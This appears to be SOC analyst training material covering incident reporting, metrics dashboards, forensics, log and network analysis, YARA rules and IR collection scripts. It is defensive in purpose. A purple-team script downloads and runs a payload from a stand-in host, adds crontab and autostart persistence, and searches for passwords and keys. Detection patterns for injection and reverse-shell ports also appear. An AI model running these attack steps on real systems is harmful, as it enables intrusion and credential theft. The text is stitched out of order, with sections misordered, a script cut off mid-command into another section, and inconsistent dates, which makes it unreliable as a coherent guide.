5. ✅ Threat signatures updated

Recovery Actions (3-4 hours)
1. ✅ Clean workstation deployed to user
2. ✅ User files restored from backup
3. ✅ Applications reinstalled
4. ✅ User security training provided
5. ✅ Enhanced monitoring activated

Post-Incident Actions (Completed)

1. ✅ Incident documentation completed
2. ✅ Threat intelligence shared with industry peers
3. ✅ Post-incident review scheduled
4. ✅ Lessons learned documented
5. ✅ Security improvements identified

Lessons Learned

What Went Well ✅
1. **Network controls effective** - Firewall blocked C2 communication
2. **SIEM detection working** - Alert generated (though delayed)
3. **Response team executed well** - Fast containment and eradication
4. **Backup process validated** - User files recovered successfully
5. **Communication clear** - User and management kept informed

What Could Improve ❌
1. **Email security** - Newly registered domain not flagged
2. **Endpoint protection** - Did not detect zero-day variant
3. **Detection time** - 5 hours between infection and alert
4. **User awareness** - More frequent phishing training needed
5. **Automation** - Manual steps could be automated

Action Items

#	Action	Owner	Due Date	Priority
1	Implement email sandboxing	IT Security	2024-12-30	HIGH
2	Deploy EDR to all endpoints	IT Security	2024-01-15	HIGH
3	Conduct phishing simulation	HR/Security	2024-12-22	HIGH
4	Reduce SIEM alert lag	SOC Team	2024-12-20	MEDIUM
5	Automate containment actions	SOC Team	2024-01-30	MEDIUM

| 6 | Update IR playbooks | SOC Manager | 2024-12-18 | LOW |

Recommendations

Immediate (0-30 days)

1. Enhanced Email Security
- Deploy advanced email sandboxing solution
- Implement newly-registered domain detection
- Block execution of email attachments by default
- Estimated cost: $15,000/year
- Risk reduction: 60%

2. Endpoint Detection and Response (EDR)
- Deploy EDR solution to all workstations
- Enable behavioral analysis and machine learning detection
- Integrate with SIEM for centralized monitoring
- Estimated cost: $50,000/year
- Risk reduction: 75%

3. Security Awareness Training
- Monthly phishing simulations
- Quarterly security awareness training
- Immediate training after incidents
- Estimated cost: $10,000/year
- Risk reduction: 40%

Short-term (30-90 days)

4. SIEM Tuning
- Reduce alert detection time to <15 minutes

- Implement behavioral analytics
- Enhance correlation rules
- Estimated cost: $5,000 (consulting)
- Improvement: 10x faster detection

5. Automated Response
- Implement SOAR platform
- Automate containment actions
- Reduce response time from hours to minutes
- Estimated cost: $30,000/year
- Improvement: 5x faster response

Long-term (90+ days)

6. Zero Trust Architecture
- Implement micro-segmentation
- Enforce least-privilege access
- Continuous authentication
- Estimated cost: $100,000+ (project)
- Risk reduction: 80%+

Indicators of Compromise (IOCs)

File Hashes

MD5: 098f6bcd4621d373cade4e832627b4f6

SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f

SHA256: 3c1f2a5e8d9b7e4f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f

Network Indicators

C2 IP: 198.51.100.25

C2 Port: 443

Domain: comp4ny.com (phishing)

Beacon Interval: 60 seconds

Host Indicators

File: C:\Users*\Downloads\password_reset_tool.exe

Task: \Windows Update Helper

Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SecurityUpdate

Mutex: Global\M3m0t3T

Email Indicators

From: it-support@comp4ny.com Subject: "Urgent: Password Expiration Notice" Attachment: password_reset_tool.exe

---

Appendices

Appendix A: Alert Details
[Full SIEM alert with all fields]

Appendix B: Forensic Evidence
[Memory dump analysis results]
[Disk forensics timeline]

Appendix C: Network Logs
[Firewall logs]
[IDS alerts]
[Zeek connection logs]

Appendix D: Threat Intelligence
[VirusTotal analysis]
[MITRE ATT&CK mapping]
[Related campaigns]

Appendix E: Communications Log
[Stakeholder notifications]
[User communications]
[Management updates]

Report Metadata

Field	Value

Report ID	IR-2024-1215-001-RPT
Classification	CONFIDENTIAL
Author	Jane Smith, Senior SOC Analyst
Reviewed By	John Johnson, SOC Manager
Approved By	Sarah Williams, CISO
Date Created	2024-12-15
Last Updated	2024-12-16
Version	1.0
Distribution	Security Team, IT Management, Executive Team

END OF REPORT

Hour 7: Metrics and Continuous Improvement (3:00 - 4:00 PM)

SOC Metrics That Matter

Key Performance Indicators (KPIs):

markdown

```
## Detection Metrics
- Mean Time to Detect (MTTD): Average time from intrusion to detection
- Alert Volume: Number of alerts per day/week/month
- False Positive Rate: Percentage of alerts that are false positives
- Detection Coverage: Percentage of MITRE ATT&CK techniques detected

## Response Metrics
- Mean Time to Respond (MTTR): Time from detection to initial response
- Mean Time to Contain (MTTC): Time from detection to containment
- Mean Time to Resolve (MTTR): Time from detection to full resolution
- Escalation Rate: Percentage of incidents requiring escalation

## Efficiency Metrics
- Analyst Productivity: Incidents handled per analyst per day
- Automation Rate: Percentage of alerts handled automatically
- Alert-to-Incident Ratio: How many alerts result in real incidents
- Dwell Time: Time attackers remain undetected in environment

## Quality Metrics
- Incident Recurrence Rate: Same type of incident happening again
- Detection Rule Effectiveness: Alerts generated vs. true positives
- Playbook Compliance: Percentage following documented procedures
- Training Completion: Analyst certification and training status
```

Exercise 37: Building SOC Dashboard (30 minutes)

Create metrics dashboard in Kibana:

Visualization 1: MTTD (Mean Time to Detect)

Metric Type: Average
Field: detection_time_minutes
Filter: event.type: "security_alert"
Goal: < 15 minutes

Visualization 2: Alert Volume Trend

Type: Line chart
Y-axis: Count of alerts
X-axis: Date histogram (daily)
Split by: alert.severity

Visualization 3: Top Alert Types

Type: Horizontal bar
Buckets: Terms aggregation on alert.rule_name
Metrics: Count
Top 10 results

Visualization 4: False Positive Rate

Type: Gauge
Formula: (false_positives / total_alerts) * 100
Goal: < 5%
Warning: > 10%
Critical: > 20%

Visualization 5: Incident Status

Type: Pie chart
Slice by: incident.status
Values: new, investigating, contained, resolved

Visualization 6: MITRE ATT&CK Coverage

Type: Heat map
Rows: MITRE tactics
Columns: Detection coverage (yes/no/partial)
Color: Green (covered), Yellow (partial), Red (gap)

Create complete dashboard:

1. Combine all visualizations
2. Add filters: Time range, severity, analyst
3. Set refresh: Auto-refresh every 5 minutes
4. Save: "SOC Metrics Dashboard"
5. Share: Make available to SOC team

Hour 8: Final Purple Team Exercise and Course Wrap-up (4:00 - 5:00 PM)

Exercise 38: Comprehensive Purple Team Assessment (30 minutes)

Scenario: Full attack chain with defensive validation

Red Team Mission: Simulate APT-style attack from initial access through exfiltration

Blue Team Mission: Detect, investigate, and respond to each stage

Attack Playbook:

```bash
```

```
#!/bin/bash
# Comprehensive Attack Simulation

echo "=== PURPLE TEAM EXERCISE: APT Simulation ==="
echo "Starting: $(date)"

# Stage 1: Reconnaissance
echo "[Stage 1] Reconnaissance"
nmap -sS -p 1-1000 localhost > /dev/null 2>&1
host localhost
whois localhost
sleep 5

# Stage 2: Initial Access (Simulated Phishing)
echo "[Stage 2] Initial Access"
wget -q -O /tmp/payload.sh http://example.com/malware
chmod +x /tmp/payload.sh
sleep 5

# Stage 3: Execution
echo "[Stage 3] Execution"
/tmp/payload.sh & # Simulated malware
MALWARE_PID=$!
sleep 5

# Stage 4: Persistence
echo "[Stage 4] Persistence"
echo "* * * * * /tmp/payload.sh" | crontab -
mkdir -p ~/.config/autostart
cat << EOF > ~/.config/autostart/updater.desktop
[Desktop Entry]
Type=Application
Exec=/tmp/payload.sh
```

```
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=System Updater
EOF
sleep 5

# Stage 5: Defense Evasion
echo "[Stage 5] Defense Evasion"
# Clear logs (simulated)
> /tmp/fake.log
sleep 5

# Stage 6: Credential Access
echo "[Stage 6] Credential Access"
find /home -name "*password*" -o -name "*.key" 2>/dev/null | head -5
sudo grep -i password /etc/* 2>/dev/null | head -5
sleep 5

# Stage 7: Discovery
echo "[Stage 7] Discovery"
ps aux
netstat -an
ip addr
who
sleep 5

# Stage 8: Lateral Movement (Simulated)
echo "[Stage 8] Lateral Movement"
for ip in 192.168.1.{1..5}; do
  ping -c 1 -W 1 $ip > /dev/null 2>&1
done
sleep 5
```

```
# Stage 9: Collection
echo "[Stage 9] Collection"
find /tmp -type f -name "*.log" -exec cat {} \; > /tmp/collected.txt 2>/dev/null
tar czf## Severity Classification
- **Critical:** Active exploitation, data exfiltration, ransomware
- **High:** Successful compromise, privilege escalation, C2 activity
- **Medium:** Failed attacks, policy violations, suspicious activity
- **Low:** Reconnaissance, false positives, informational

## MITRE ATT&CK Quick Reference
- TA0001: Initial Access
- TA0002: Execution
- TA0003: Persistence
- TA0004: Privilege Escalation
- TA0005: Defense Evasion
- TA0006: Credential Access
- TA0007: Discovery
- TA0008: Lateral Movement
- TA0009: Collection
- TA0010: Exfiltration
- TA0011: Command and Control
- TA0040: Impact

## Response Actions Cheat Sheet

### Immediate (0-5 minutes)
- Verify alert legitimacy
- Document initial observations
- Assess severity
- Notify appropriate stakeholders

### Containment (5-30 minutes)
```

- Network isolation: `sudo ip link set eth0 down`
- Firewall block: `sudo iptables -A INPUT -s MALICIOUS_IP -j DROP`
- Account disable: `sudo usermod -L username`
- Process kill: `kill -9 PID`

Investigation (30-60 minutes)
- Collect logs and artifacts
- Timeline construction
- Scope determination
- IOC extraction

Eradication (1-4 hours)
- Remove malware/backdoors
- Patch vulnerabilities
- Reset credentials
- System hardening

Recovery (2-8 hours)
- Restore from backup
- Rebuild if necessary
- Verify clean state
- Resume operations

Post-Incident (Following days)
- Complete documentation
- Lessons learned session
- Update detections
- Train team

Useful Commands

Elasticsearch Queries
````bash
````

```
# Search all indices
curl -X GET "localhost:9200/_search?q=*"

# Count documents
curl -X GET "localhost:9200/filebeat-*/_count"

# Index stats
curl -X GET "localhost:9200/filebeat-*/_stats"
````

Suricata
````bash
# Reload rules
sudo suricatasc -c reload-rules

# Get stats
sudo suricatasc -c dump-counters

# Check performance
sudo suricatasc -c capture-mode
````

Zeek
````bash
# Deploy configuration
sudo zeekctl deploy

# Check status
sudo zeekctl status

# Process PCAP
zeek -r capture.pcap
````
```
```

Osquery

````bash
# Interactive mode
sudo osqueryi

# Run specific query
osqueryi "SELECT * FROM processes WHERE name='suspicious';"

# Check scheduled queries
sudo osqueryi --config_path /etc/osquery/osquery.conf
````

Day 2 Knowledge Check

Self-assessment questions:

Detection Engineering:

- [ ] Can I write effective detection rules?
- [ ] Do I understand false positive tuning?
- [ ] Can I map detections to MITRE ATT&CK?
- [ ] Can I create EQL queries?

Threat Hunting:

- [ ] Can I formulate hunting hypotheses?
- [ ] Can I establish behavioral baselines?
- [ ] Can I identify anomalies in data?
- [ ] Can I pivot between related events?

Advanced Analysis:

- [ ] Can I use Zeek for protocol analysis?
- [ ] Can I write custom Zeek scripts?
- [ ] Can I perform memory forensics?
- [ ] Can I analyze malware samples?

Automation:

- [ ] Can I build automated response workflows?
- [ ] Do I understand SOAR concepts?
- [ ] Can I integrate security tools?
- [ ] Can I script response actions?

Purple Teaming:

- [ ] Can I conduct purple team exercises?
- [ ] Can I identify detection gaps?
- [ ] Can I improve detection coverage?
- [ ] Can I document findings effectively?

DAY 3: Incident Response and Forensics

Morning Session (8:00 AM - 12:00 PM)

Hour 1: Digital Forensics Fundamentals (8:00 - 9:00 AM)

Forensics Principles

Order of Volatility (collect in this order):

1. CPU registers, cache
2. RAM contents
3. Network connections
4. Running processes
5. Disk contents
6. Remote logging
7. Physical configuration
8. Archival media

Chain of Custody:

- Document who handled evidence
- When it was accessed
- What was done with it
- Where it was stored
- Why it was examined

Forensic Soundness:

- Write-protect original media
- Create forensic images (bit-for-bit copies)
- Hash verification (MD5, SHA256)
- Document all actions
- Non-destructive analysis

Exercise 27: Evidence Collection (30 minutes)

Scenario: Suspected compromise

Step 1: Live System Triage

bash

```
# Create evidence directory
sudo mkdir -p /evidence/$(date +%Y%m%d_%H%M%S)
cd /evidence/$(date +%Y%m%d_%H%M%S)

# System information
echo "=== System Information ===" > system_info.txt
uname -a >> system_info.txt
hostname >> system_info.txt
date >> system_info.txt

# Current users
echo "=== Logged In Users ===" > users.txt
who >> users.txt
w >> users.txt
last -a >> users.txt

# Running processes
echo "=== Process List ===" > processes.txt
ps auxww >> processes.txt
pstree -a >> processes.txt

# Network connections
echo "=== Network Connections ===" > network.txt
netstat -antp >> network.txt
ss -antp >> network.txt
ip addr >> network.txt
ip route >> network.txt

# Open files
echo "=== Open Files ===" > open_files.txt
lsof +L1 >> open_files.txt

# Loaded modules
```

```
echo "=== Kernel Modules ===" > modules.txt
lsmod >> modules.txt

# Scheduled tasks
echo "=== Cron Jobs ===" > cron.txt
for user in $(cut -f1 -d: /etc/passwd); do
  echo "User: $user" >> cron.txt
  sudo crontab -u $user -l 2>/dev/null >> cron.txt
done

# Recent commands
echo "=== Command History ===" > history.txt
cat ~/.bash_history >> history.txt 2>/dev/null

# Persistence mechanisms
echo "=== Startup Items ===" > startup.txt
ls -la /etc/init.d/ >> startup.txt
systemctl list-unit-files --state=enabled >> startup.txt

# Modified files (last 24 hours)
echo "=== Recently Modified Files ===" > recent_files.txt
find / -type f -mtime -1 2>/dev/null >> recent_files.txt

# Suspicious SUID files
echo "=== SUID/SGID Files ===" > suid_files.txt
find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null >> suid_files.txt

# Hash all collected evidence
echo "=== Evidence Hashes ===" > hashes.txt
sha256sum * >> hashes.txt

# Create timeline
ls -laR --full-time /tmp /var/tmp > timeline_tmp.txt 2>/dev/null
```

Step 2: Memory Acquisition

bash

```
# Using LiME (if available)
sudo insmod lime-*.ko "path=/evidence/memory.lime format=lime"

# Or using dd (limited)
sudo dd if=/dev/mem of=/evidence/memory.img bs=1M count=1024

# Hash memory image
sha256sum memory.img > memory.img.sha256
```

Step 3: Disk Imaging

bash

```
# Create forensic disk image (use external drive)
# CAUTION: This writes to disk - only for practice/authorized investigation

# Using dd (basic)
sudo dd if=/dev/sda of=/mnt/evidence/disk.img bs=4M status=progress

# Using dc3dd (forensic-grade, better)
sudo dc3dd if=/dev/sda of=/mnt/evidence/disk.img hash=sha256 log=disk.log

# Using ddrescue (for damaged disks)
sudo ddrescue -f -n /dev/sda /mnt/evidence/disk.img /mnt/evidence/disk.log

# Verify image integrity
sudo md5sum /dev/sda > /mnt/evidence/disk_original.md5
sudo md5sum disk.img > /mnt/evidence/disk_image.md5
```

Step 4: Documentation

```bash
# Create evidence manifest
cat << EOF > /evidence/manifest.txt
Case Number: CASE-2024-001
Investigator: [Your Name]
Date/Time: $(date)
System: $(hostname)
Description: Suspected system compromise

Evidence Collected:
- System information
- Process listings
- Network connections
- Memory image
- Disk image (if applicable)
- Log files
- Configuration files

Chain of Custody:
$(date): Evidence collected by [Your Name]
Location: [System location]
Storage: [Evidence storage location]

All evidence cryptographically hashed for integrity verification.
EOF
```

Exercise 28: Timeline Analysis (20 minutes)

Create a super timeline:

bash

```bash
# Install if needed
sudo apt install sleuthkit -y

# Create bodyfile (timeline data)
fls -r -m / /dev/sda1 > bodyfile.txt

# Or from mounted filesystem
find /mnt/evidence -type f -exec stat -c "%Y|%n" {} \; > bodyfile.txt

# Create timeline
mactime -b bodyfile.txt -d > timeline.csv

# Analyze specific time period
mactime -b bodyfile.txt -d 2024-12-01..2024-12-15 > timeline_filtered.csv
```

Timeline analysis questions:

markdown

Timeline Investigation Checklist

Initial Compromise
- [ ] When was the first suspicious activity?
- [ ] What was the entry point?
- [ ] Which files were accessed first?

Malware Installation
- [ ] When were suspicious files created?
- [ ] Where were they placed?
- [ ] What permissions were set?

Persistence Mechanisms
- [ ] When were startup items modified?
- [ ] Which configuration files changed?
- [ ] Were scheduled tasks created?

Lateral Movement
- [ ] When did network connections begin?
- [ ] Which systems were accessed?
- [ ] What credentials were used?

Data Access
- [ ] Which sensitive files were accessed?
- [ ] When was data copied/moved?
- [ ] Where was data staged?

Exfiltration
- [ ] When did large transfers occur?
- [ ] What destinations were contacted?
- [ ] How much data was transferred?

Hour 2: Log Analysis and Correlation (9:00 - 10:00 AM)

Understanding Log Sources

Critical logs for investigation:

System Logs:

- `/var/log/syslog` - General system activity
- `/var/log/auth.log` - Authentication events
- `/var/log/secure` - Security events (RHEL/CentOS)
- `/var/log/messages` - System messages

Application Logs:

- `/var/log/apache2/` - Web server
- `/var/log/nginx/` - Web server
- `/var/log/mysql/` - Database
- `/var/log/postgresql/` - Database

Security Logs:

- `/var/log/audit/audit.log` - Audit daemon
- `/var/log/suricata/` - IDS alerts
- `/opt/zeek/logs/` - Network monitoring

Exercise 29: Advanced Log Analysis (30 minutes)

Scenario: Investigating suspicious authentication

Step 1: Extract authentication events

bash

```
# All SSH authentication attempts
grep "sshd" /var/log/auth.log > ssh_auth.log

# Failed SSH attempts
grep "Failed password" /var/log/auth.log | \
  awk '{print $1, $2, $3, $9, $11}' | \
  sort | uniq -c | sort -rn > failed_ssh.txt

# Successful SSH logins
grep "Accepted password" /var/log/auth.log | \
  awk '{print $1, $2, $3, $9, $11}' | \
  sort > successful_ssh.txt

# Suspicious: Success after many failures
join <(awk '{print $NF}' failed_ssh.txt | sort) \
     <(awk '{print $NF}' successful_ssh.txt | sort)
```

Step 2: Analyze web server logs

bash

```
# Apache access log analysis
# Most common IPs
awk '{print $1}' /var/log/apache2/access.log | \
  sort | uniq -c | sort -rn | head -20

# Suspicious user agents
grep -i "scan\|bot\|spider\|crawler" /var/log/apache2/access.log | \
  awk '{print $1, $12, $13, $14, $15}' | sort | uniq

# SQL injection attempts
grep -i "select\|union\|insert\|update\|delete\|drop" /var/log/apache2/access.log | \
  grep -v "legitimate-app"

# Command injection attempts
grep -i "bash\|cmd\|exec\|system\|eval" /var/log/apache2/access.log

# Directory traversal
grep -i "\.\.\/" /var/log/apache2/access.log

# Error 404s (probing)
grep " 404 " /var/log/apache2/access.log | \
  awk '{print $7}' | sort | uniq -c | sort -rn | head -20

# Status code distribution
awk '{print $9}' /var/log/apache2/access.log | \
  sort | uniq -c | sort -rn
```

Step 3: Correlate across logs

bash

```
# Create unified timeline
# Combine multiple log sources

# Extract timestamps and events from auth log
awk '{print $1" "$2" "$3" [AUTH] "$0}' /var/log/auth.log > unified.log

# Extract from Apache (convert timestamp)
# Note: Apache uses different time format, may need parsing

# Extract from Suricata
jq -r '[.timestamp, "[IDS]", .alert.signature] | @tsv' \
  /var/log/suricata/eve.json >> unified.log 2>/dev/null

# Sort by timestamp
sort unified.log > unified_timeline.log

# Search timeline for specific IP
grep "192.168.1.100" unified_timeline.log

# Events in specific timeframe
sed -n '/Dec 15 14:00/,/Dec 15 15:00/p' unified_timeline.log
```

Step 4: Log analysis with elk-tacular script

bash

```
#!/bin/bash
# Advanced log analysis script

TARGET_IP=$1
LOGFILE=$2

echo "=== Log Analysis for $TARGET_IP ==="

# Frequency analysis
echo "[+] Connection frequency:"
grep "$TARGET_IP" $LOGFILE | \
  awk '{print $1" "$2" "$3}' | uniq -c

# Unique URLs/paths accessed
echo "[+] Unique resources accessed:"
grep "$TARGET_IP" $LOGFILE | \
  awk '{print $7}' | sort -u | head -20

# HTTP methods used
echo "[+] HTTP methods:"
grep "$TARGET_IP" $LOGFILE | \
  awk '{print $6}' | sort | uniq -c

# Response codes
echo "[+] Response codes:"
grep "$TARGET_IP" $LOGFILE | \
  awk '{print $9}' | sort | uniq -c

# Data transferred
echo "[+] Total bytes transferred:"
grep "$TARGET_IP" $LOGFILE | \
  awk '{sum+=$10} END {print sum " bytes"}'
```

```
# Suspicious patterns
echo "[+] Suspicious patterns:"
grep "$TARGET_IP" $LOGFILE | \
  grep -iE "(\.\./|;|&&|\||select|union|script|exec)"
```

Usage:

```
bash

chmod +x log_analysis.sh
./log_analysis.sh 192.168.1.100 /var/log/apache2/access.log
```

Hour 3: Malware Forensics and Analysis (10:00 - 11:00 AM)

File System Forensics

Tools for filesystem analysis:

- **Autopsy:** GUI for Sleuth Kit
- **Sleuth Kit:** Command-line forensics
- **Foremost:** File carving
- **Scalpel:** Advanced file carving

Exercise 30: Autopsy Forensic Analysis (30 minutes)

Launch Autopsy:

```
bash
```

```
# Install Autopsy
sudo apt install autopsy -y

# Start Autopsy server
autopsy &

# Open browser to: http://localhost:9999/autopsy
```

Create new case:

1. **Case Name:** "Malware-Investigation-001"
2. **Description:** "Investigating suspected malware"
3. **Investigator:** [Your name]

Add evidence:

1. **Add Host:** victim-workstation
2. **Add Image:** Browse to disk image or directory
3. **Analysis type:** Full analysis
4. **Calculate MD5:** Yes

Analysis workflow:

```
markdown
```

File Analysis Steps

1. **File Category Analysis**
   - View by file type
   - Focus on executables (.exe, .sh, .elf)
   - Check for unusual file locations

2. **Timeline Analysis**
   - Sort by date modified
   - Look for suspicious time clusters
   - Identify outliers

3. **Keyword Search**
   - Search for: "password", "cmd", "powershell"
   - Malware-related: "rat", "backdoor", "keylog"
   - Network indicators: IP patterns, URLs

4. **Hash Analysis**
   - Extract file hashes
   - Compare against known malware databases
   - Check VirusTotal

5. **Metadata Analysis**
   - Check EXIF data in images
   - Document metadata
   - Executable metadata (compiler, linker info)

6. **Deleted Files**
   - Recover deleted files
   - Check recycle bin
   - File slack analysis

7. **Hidden Data**

```
- Alternate Data Streams (Windows)
- Hidden partitions
- Encrypted containers
```

Extract suspicious files:

1. **Navigate to suspicious file**
2. **Right-click → Extract**
3. **Save to evidence directory**
4. **Document: filename, hash, location, timestamp**

Exercise 31: Automated Malware Scanning (20 minutes)

ClamAV scanning:

```bash
```

```
# Install ClamAV
sudo apt install clamav clamav-daemon -y

# Update virus definitions
sudo freshclam

# Scan specific directory
clamscan -r /home/user/Downloads

# Scan with detailed output
clamscan -r -i --log=/tmp/clamscan.log /home

# Scan and move infected files
clamscan -r --move=/quarantine /home

# Scan memory
clamscan --memory
```

YARA rules for detection:

bash

```
# Install YARA
sudo apt install yara -y

# Create custom YARA rule
cat << 'EOF' > malware_rules.yar
rule SuspiciousPowerShell
{
    meta:
        description = "Detects suspicious PowerShell patterns"
        author = "SOC Team"

    strings:
        $download = "DownloadString" nocase
        $webclient = "Net.WebClient" nocase
        $invoke = "Invoke-Expression" nocase
        $hidden = "-WindowStyle Hidden" nocase
        $encoded = "-EncodedCommand" nocase

    condition:
        2 of them
}

rule SuspiciousNetwork
{
    meta:
        description = "Detects network C2 patterns"

    strings:
        $ip = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,5}/
        $http = "POST" nocase
        $cmd = "cmd" nocase

    condition:
```

```
        all of them
}

rule Base64Encoded
{
    meta:
        description = "Detects base64 encoded content"

    strings:
        $base64 = /[A-Za-z0-9+\/]{40,}={0,2}/

    condition:
        $base64
}
EOF

# Scan files with YARA rules
yara malware_rules.yar /path/to/suspicious/files -r

# Scan process memory
sudo yara malware_rules.yar /proc/*/mem
```

VirusTotal integration:

bash

```
# Install vt-cli
wget https://github.com/VirusTotal/vt-cli/releases/download/0.10.3/Linux64.zip
unzip Linux64.zip
sudo mv vt /usr/local/bin/

# Configure API key
vt init

# Scan file
vt scan file suspicious.exe

# Check file hash
vt file 5d41402abc4b2a76b9719d911017c592

# Search for IOC
vt intelligence "entity:file and p:5d41402abc4b2a76b9719d911017c592"
```

Hour 4: Network Forensics (11:00 AM - 12:00 PM)

PCAP Analysis

Capturing network traffic:

bash

```
# Capture with tcpdump
sudo tcpdump -i eth0 -w capture.pcap

# Capture specific traffic
sudo tcpdump -i eth0 'port 80 or port 443' -w http_traffic.pcap

# Capture from specific host
sudo tcpdump -i eth0 'host 192.168.1.100' -w host_traffic.pcap

# Capture with size limit
sudo tcpdump -i eth0 -C 100 -W 5 -w capture.pcap
# Creates: capture.pcap0, capture.pcap1, etc. (100MB each, keep 5)
```

Exercise 32: Wireshark Analysis (30 minutes)

Launch Wireshark:

```
bash

sudo wireshark &
```

Analysis workflow:

1. HTTP Traffic Analysis

```
Display filter: http
Look for:
- Unencrypted credentials
- POST data
- Suspicious user agents
- Unusual URLs
```

2. DNS Analysis

```
Display filter: dns
Look for:
- High query volume (DGA domains)
- Unusual TLDs
- Long domain names
- NXDOMAIN responses
```

3. TLS/SSL Analysis

```
Display filter: tls
Look for:
- Self-signed certificates
- Unusual certificate subjects
- Short-lived connections
- Non-standard ports
```

4. Follow TCP Streams

```
Right-click packet → Follow → TCP Stream
- Reconstruct full conversation
- Extract transmitted files
- View protocol data
```

5. Extract Objects

File → Export Objects → HTTP
- Extract transferred files
- Analyze downloads
- Check executables

6. Statistical Analysis

Statistics → Conversations
- Identify chatty hosts
- Unusual port usage
- Data transfer volumes

Statistics → Protocol Hierarchy
- Traffic composition
- Unusual protocols

Common Wireshark filters:

```
# Failed connections
tcp.flags.reset == 1

# Large data transfers
tcp.len > 1000

# Suspicious ports
tcp.port == 4444 || tcp.port == 31337

# Non-standard HTTP ports
http && !(tcp.port == 80 || tcp.port == 443)

# Executable downloads
http.request.uri contains ".exe"

# Base64 in HTTP
http contains "base64"

# Certificate issues
tls.handshake.type == 11 && ssl.handshake.certificate
```

Exercise 33: Network Forensics with Zeek (20 minutes)

Analyze PCAP with Zeek:

```
bash
```

```
# Process PCAP file
zeek -r capture.pcap

# This creates multiple log files:
ls *.log

# Key logs created:
# - conn.log: All connections
# - dns.log: DNS queries
# - http.log: HTTP requests
# - files.log: Transferred files
# - weird.log: Unusual activity
```

Analyze Zeek logs:

bash

```
# Extract suspicious DNS queries
zeek-cut query < dns.log | sort | uniq -c | sort -rn | head -20

# Find long domain names (potential DGA)
zeek-cut query < dns.log | awk 'length > 50'

# HTTP requests to IP addresses (not domains)
zeek-cut host < http.log | grep -E "^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$"

# Transferred files
zeek-cut tx_hosts rx_hosts mime_type filename < files.log

# Extract suspicious patterns
cat weird.log | zeek-cut name

# Large data transfers
zeek-cut id.orig_h orig_bytes < conn.log | \
  awk '$2 > 1000000 {print $1, $2/1024/1024 " MB"}' | \
  sort -k2 -rn
```

Network forensics checklist:

```
markdown
```

Network Forensics Investigation

Initial Analysis
- [ ] What is the time range of the capture?
- [ ] How many unique hosts involved?
- [ ] What protocols are present?
- [ ] Any unusual ports?

Connection Analysis
- [ ] Which hosts have most connections?
- [ ] Any connections to unusual destinations?
- [ ] Failed connection attempts?
- [ ] Port scanning activity?

Protocol Analysis
- [ ] HTTP: Any suspicious requests?
- [ ] DNS: Unusual queries or DGA patterns?
- [ ] TLS/SSL: Certificate issues?
- [ ] SMB: Lateral movement indicators?

Data Transfer Analysis
- [ ] Large data transfers?
- [ ] Unusual upload/download patterns?
- [ ] Encrypted tunnels?
- [ ] Data exfiltration indicators?

Malicious Indicators
- [ ] C2 beacon patterns?
- [ ] Known malicious IPs/domains?
- [ ] Exploit attempts?
- [ ] Malware downloads?

IOC Extraction

- [ ] List of suspicious IPs
- [ ] List of suspicious domains
- [ ] File hashes of downloads
- [ ] User-agents
- [ ] URL patterns

Lunch Break (12:00 PM - 1:00 PM)

Reflection Questions:

- What forensic evidence is most valuable?
- How do you maintain chain of custody?
- What challenges exist in log analysis?
- How do you correlate across multiple data sources?

Afternoon Session (1:00 PM - 5:00 PM)

Hour 5: Incident Response Automation (1:00 - 2:00 PM)

Building an IR Toolkit

Essential scripts for incident response:

Exercise 34: Automated IR Collection Script (30 minutes)

bash

```bash
#!/bin/bash
# Comprehensive Incident Response Collection Script

CASE_ID="IR-$(date +%Y%m%d-%H%M%S)"
EVIDENCE_DIR="/evidence/$CASE_ID"
HOSTNAME=$(hostname)

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color

echo -e "${GREEN}=========================================${NC}"
echo -e "${GREEN}Incident Response Collection Tool${NC}"
echo -e "${GREEN}=========================================${NC}"
echo "Case ID: $CASE_ID"
echo "Hostname: $HOSTNAME"
echo "Time: $(date)"
echo ""

# Create evidence directory
echo -e "${GREEN}[+]${NC} Creating evidence directory..."
sudo mkdir -p "$EVIDENCE_DIR"/{system,network,processes,files,logs}
cd "$EVIDENCE_DIR"

# System information
echo -e "${GREEN}[+]${NC} Collecting system information..."
{
    echo "=== System Information ==="
    uname -a
    hostnamectl
    uptime
    date
```

```
} > system/system_info.txt

# User information
echo -e "${GREEN}[+]${NC} Collecting user information..."
{
    echo "=== Current Users ==="
    who -a
    w
    last -a -F | head -50
    echo ""
    echo "=== All Users ==="
    cat /etc/passwd
} > system/users.txt

# Process information
echo -e "${GREEN}[+]${NC} Collecting process information..."
{
    ps auxwwf
} > processes/process_tree.txt

{
    ps -eo pid,ppid,user,cmd,lstart
} > processes/process_details.txt

{
    pstree -a -p
} > processes/pstree.txt

# Network information
echo -e "${GREEN}[+]${NC} Collecting network information..."
{
    echo "=== Active Connections ==="
    netstat -antp
```

```
    echo ""
    echo "=== Socket Statistics ==="
    ss -antp
    echo ""
    echo "=== Routing Table ==="
    ip route
    echo ""
    echo "=== Network Interfaces ==="
    ip addr
    echo ""
    echo "=== ARP Cache ==="
    ip neigh
} > network/network_connections.txt

# Open files
echo -e "${GREEN}[+]${NC} Collecting open files..."
{
    lsof +L1
} > files/open_files.txt 2>/dev/null

# Loaded modules
echo -e "${GREEN}[+]${NC} Collecting loaded modules..."
{
    lsmod
} > system/loaded_modules.txt

# Scheduled tasks
echo -e "${GREEN}[+]${NC} Collecting scheduled tasks..."
{
    for user in $(cut -f1 -d: /etc/passwd); do
        echo "=== Crontab for $user ==="
        sudo crontab -u $user -l 2>/dev/null
    done
```

```
    echo ""
    echo "=== System Cron Jobs ==="
    cat /etc/crontab
    ls -la /etc/cron.*
} > system/scheduled_tasks.txt

# Services
echo -e "${GREEN}[+]${NC} Collecting service information..."
{
    systemctl list-units --type=service
} > system/services.txt

# Persistence mechanisms
echo -e "${GREEN}[+]${NC} Collecting persistence mechanisms..."
{
    echo "=== RC Files ==="
    ls -la /etc/rc*.d/
    echo ""
    echo "=== Systemd Services ==="
    systemctl list-unit-files --state=enabled
    echo ""
    echo "=== Startup Applications ==="
    ls -la ~/.config/autostart/ 2>/dev/null
} > system/persistence.txt

# Recent file modifications
echo -e "${GREEN}[+]${NC} Finding recently modified files..."
{
